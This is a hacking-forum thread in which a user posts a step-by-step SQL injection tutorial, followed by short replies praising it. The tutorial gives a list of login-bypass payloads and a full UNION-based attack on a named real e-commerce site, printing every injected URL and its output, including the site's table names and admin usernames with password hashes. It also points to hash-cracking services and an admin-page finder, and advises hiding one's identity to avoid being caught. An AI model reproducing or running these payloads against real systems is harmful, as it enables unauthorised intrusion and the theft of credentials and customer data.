[Suved]

[img]http://img4.imageshack.us/img4/368/coollogocom71588305.png[/img]

What is SQL injection?
SQL injection is used to exploit and extract data from website.Using SQL injection attacker can extract data like Admin login information,credit cards details,emails,phone no,address,name etc.
SQL - Structured Query Language
SQL is a programming language use to communicate and manage database.
If this doesn't satisfy your curiosity then here's a link to Wikipedia.

__

Hiding yourself on Internet
refer the following tutorials

• [Tutorial] Stay Anonymous and Secure [Online & Offline] [Updated]-- by Techie
  
• [Tutorial] Become anonymous, hide IP, encrypt&hide HDD, hide identity ****-- by WhiteFlame
  

I know it should not be in the middle of SQL injection tutorial.but I don't want anyone of us to get caught.It is important to stay anonymous while hacking.

let's start a real stuff.

__

Finding Vulnerable Website Using Dorks
Dorks list -- by SideSwipe.
Just copy one Dork for eg- inurl:index.php?id= and Google it.

__

Gaining Access to Administrator Account Using Quries
Examples:

Code

http://www.uslandandhome.com/admin/index.php
http://www.orinux.com//admin

' or 'x'='x use this in admin and password boxes.

Code

[color=#32CD32]Username:[/color]' or 'x'='x
[color=#32CD32]Password:[/color]' or 'x'='x

you can also try following queries:

Code

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

__

Normal/UNION Based SQL Injection

Checking Vulnerability
Target:

Code

http://www.gocontempo.com/pages.php?id=2

Add ' (apostrophe) at the end of link

Code

http://www.gocontempo.com/pages.php?id=2'

following error will occur:
Spoiler (Click to View)[img]http://img198.imageshack.us/img198/9951/53148139.jpg[/img]
If website loaded as it is without error or unharmed then website is not vulnerable to SQL injection.If it gives error we can move further otherwise you can select another website.

__

Finding Number Of Columns

Code

http://www.gocontempo.com/pages.php?id=2+order+by+1--  NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+2--  NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+3--  NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+4--  NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+5--  NO ERROR

Keep increasing number till we get an error.
Don't forget to add --(two hypen) at the end of link.

Code

http://www.gocontempo.com/pages.php?id=2+order+by+15--  ERROR

Spoiler (Click to View)[img]http://img593.imageshack.us/img593/1898/71730531.jpg[/img]
finally we got error at order+by+15--. It means that our website contain 14 columns.

__

Determining Vulnerable Columns

Code

http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

OR

Code

http://www.gocontempo.com/pages.php?id=null+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

Don't forget to add - (hyphen) after id= . If you are using id=null+union+select.. then there is no need to add -(hyphen) after id= .
Spoiler (Click to View)[img]http://img515.imageshack.us/img515/2367/28618961.jpg[/img]
It will display vulnerable columns.It displays column number 4 is vulnerable.
we will use vulnerable column to extract data from website.

__

Determining Mysql Version
It is easy to find Mysql version.Replace vulnerable column with

Code

@@version

OR

Code

version()

we got column number 4 vulnerable so we will replace column number 4 with @@version.

Code

http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14--

Spoiler (Click to View)[img]http://img534.imageshack.us/img534/1817/65345054.jpg[/img]

Code

5.1.61-community-log

we got mysql version 5.1.61 it's good.If you got mysql version less than 5 then you have to use error based SQL injection.I am not going to explain error based SQL injection.so leave that website and choose another.let's move further..

__

Finding Database

Code

http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14+from+information_schema.schemata--

Spoiler (Click to View)[img]http://img217.imageshack.us/img217/4021/20079864.jpg[/img]

information_schema contains metadata.Metadata is data about other data such as tables and columns.
information_schema.schemata contains name of all databases.
we got names of database information_schema,gocontem_contempo

__

Finding Tables

Code

http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14+
from+information_schema.tables+where+table_schema=database()--

This will display tables.
Spoiler (Click to View)[img]http://img42.imageshack.us/img42/2579/43148784.jpg[/img]
It is not in proper manner.we need to bring them in proper manner so we can observe them clearly.
just add 0x0a after table_name
0x0a means new line.

Code

http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name,0x0a),5,6,7,8,9,10,11,12,13,14+
from+information_schema.tables+where+table_schema=database()--

Don't forget to add , between 0x0a and table_name
Spoiler (Click to View)[img]http://img35.imageshack.us/img35/295/22812340.jpg[/img]
we got following tables:

Code

adtrackz_actions
,adtrackz_alerts
,adtrackz_campaigns
,adtrackz_campaigns_st
,adtrackz_clicks
,adtrackz_groups
,adtrackz_login
,adtrackz_preferences
,adtrackz_redirects
,adtrackz_sales
,adtrackz_split_test_campaigns
,adtrackz_split_test_groups
,adtrackz_subcampaigns
,contempo_slideshow
,tblcanadatax
,tblcategory
,tblcolors
,tblcountry
,tblcustomers
,tbldesigner
,tbldiscountcodes
,tblgroup
,tblimages
,tblmaincategory
,tbloption
,tbloptionname
,tblorderdetails
,tblorders
,tblpage
,tblpagename
,tblpermissionlevels
,tblpermissions
,tblpics
,tblproducts
,tblrelated
,tblsitemap
,tblstate
,tblsubcategory
,tblsupplier
,tbltemp
,tbltempoption
,tbltempoptionname
,tbltemppics
,tbluserpermissions
,tblusers
,tblvendor

our goal is to get admin username and password.so we are going to extract columns from tblusers.

__

Finding Columns

Code

www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(column_name,0x0a),5,6,7,8,9,10,11,12,13,14+
from+information_schema.columns+where+table_name=char(116,98,108,117,115,101,114,115)--

we need to convert our table name into ASCII value.
String - ASCII, HEX, Binary Converter
Spoiler (Click to View)[img]http://img201.imageshack.us/img201/3673/42431868.jpg[/img]
we got columns from tblusers.

Code

UserId,UserName,UserPwd,UserLevel

__

Extracting Data From Columns

Code

http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(UserId,0x3a,UserName,0x3a,UserPwd,0x3a,UserLevel,0x0a),5,6,7,8,9,10,11,12,13,14+from+tblusers--

here 0x3a separates UserId,UserName,UserPwd,UserLevel from each other.0x3a is converted into : (colon).
Spoiler (Click to View)[img]http://img6.imageshack.us/img6/9162/12374045.jpg[/img]

Code

3:contempo:043d9d7cd5afa18257b77164bc91205e:1
,4:contempo:416947dc3ddd5871659ee142273ffa95:1
,19:gocontempo:27b811b22de87faa7925ae3c2a0337fe:0
,20:sample:1b4ea4c5cc5181229340c1c188baad6f:0

🤗
Finally we got usernames and passwords.
password are not in plain text they are in encrypted form.we need to decrypt them.
Admin Login Page:

Code

http://www.gocontempo.com/admin/index.php

__

Identifying Hashes
Refer these tutorials for identifying hashes.

• [Bookmark] Hash Types [You will need it]-- by Haxor
  
• [REFERENCE] HASH TYPE REFERENCE GUIDE [REF]-- by Hooded Robin
  
• [RELEASE] ##Hash Identifier## Don't know the type of hash? COME HERE![Zer0]-- by Zer0Freak
  

__

Cracking Hashes

• http://www.md5decrypter.co.uk
  
• http://www.md5crack.com/
  

__

Finding Admin Login Page

• Online Admin login panel finder
  

• Perl Script
  

Requirements:
Download ActivePerl and install
Admins.pl
open CMD and navigate to admins.pl or simply double click on admins.pl file.
Spoiler (Click to View)[img]http://img717.imageshack.us/img717/4885/captureent.jpg[/img]
now enter name of your targeted site and press enter
eg:http://www.gocontempo.com
Spoiler (Click to View)[img]http://img827.imageshack.us/img827/3639/52480463.jpg[/img]
type coding language of your website such as php,asp.If you don't know coding language then type any and press enter It will begin scanning for Admin Control Panel.

__

🤝Thank you for reading my tutorial.🤝
Please post comments and let me know how was tutorial.

[DemonAsylum]

Many tutorials on this already, but it looks like you put a lot of time and effort into this one so good post. Ill have to take a look through it all at some point.

[Little Hippo]

there are many good tutorials on it but appreciate the hardwork you put into it

[Suved]

Many tutorials on this already, but it looks like you put a lot of time and effort into this one so good post. Ill have to take a look through it all at some point.

Thank you for appreciation and If there are any mistakes let me know through PM service.

---

there are many good tutorials on it but appreciate the hardwork you put into it

thank you for appreciation.🤝

[shivam]

Thank You for sharing this TUT...Gr8 work u...I appreciate ur hardwork behind this TUT..Thnxx once again..

[Suved]

Thank You for sharing this TUT...Gr8 work u...I appreciate ur hardwork behind this TUT..Thnxx once again..

Thank you for appreciation.
Thank you for appreciation.

---

[img]http://img341.imageshack.us/img341/3705/viewss.jpg[/img]
114 views and only 5 replies.
😭😭😭😭😭😭

[JessyV]

nice one but that look really hard, i dont really understand , can you help me on skype share screen or teamviewer mate ?

[Suved]

nice one but that look really hard, i dont really understand , can you help me on skype share screen or teamviewer mate ?

thanks for reply.
thanks for reply.

[skunkiller]

thanks for great tutorial :) appreciate the work

[Suved]

thanks for great tutorial :) appreciate the work

Thank you for your reply.

The message is . Please enter a message longer than 35 characters.

[www_webhead]

Nice tutorial man good work dude..

[Suved]

Nice tutorial man good work dude..

Thank you sir.🤝
msg is short

[WebHacking]

Thank you for a great tutoriel, but how many tutoriel of injection SQL are in this section xD !

[RobertHacking]

Can you SQL Inject without using Dorks?

[soeasy]

Nice work mate 🤝
Thanks for sharing

soeasy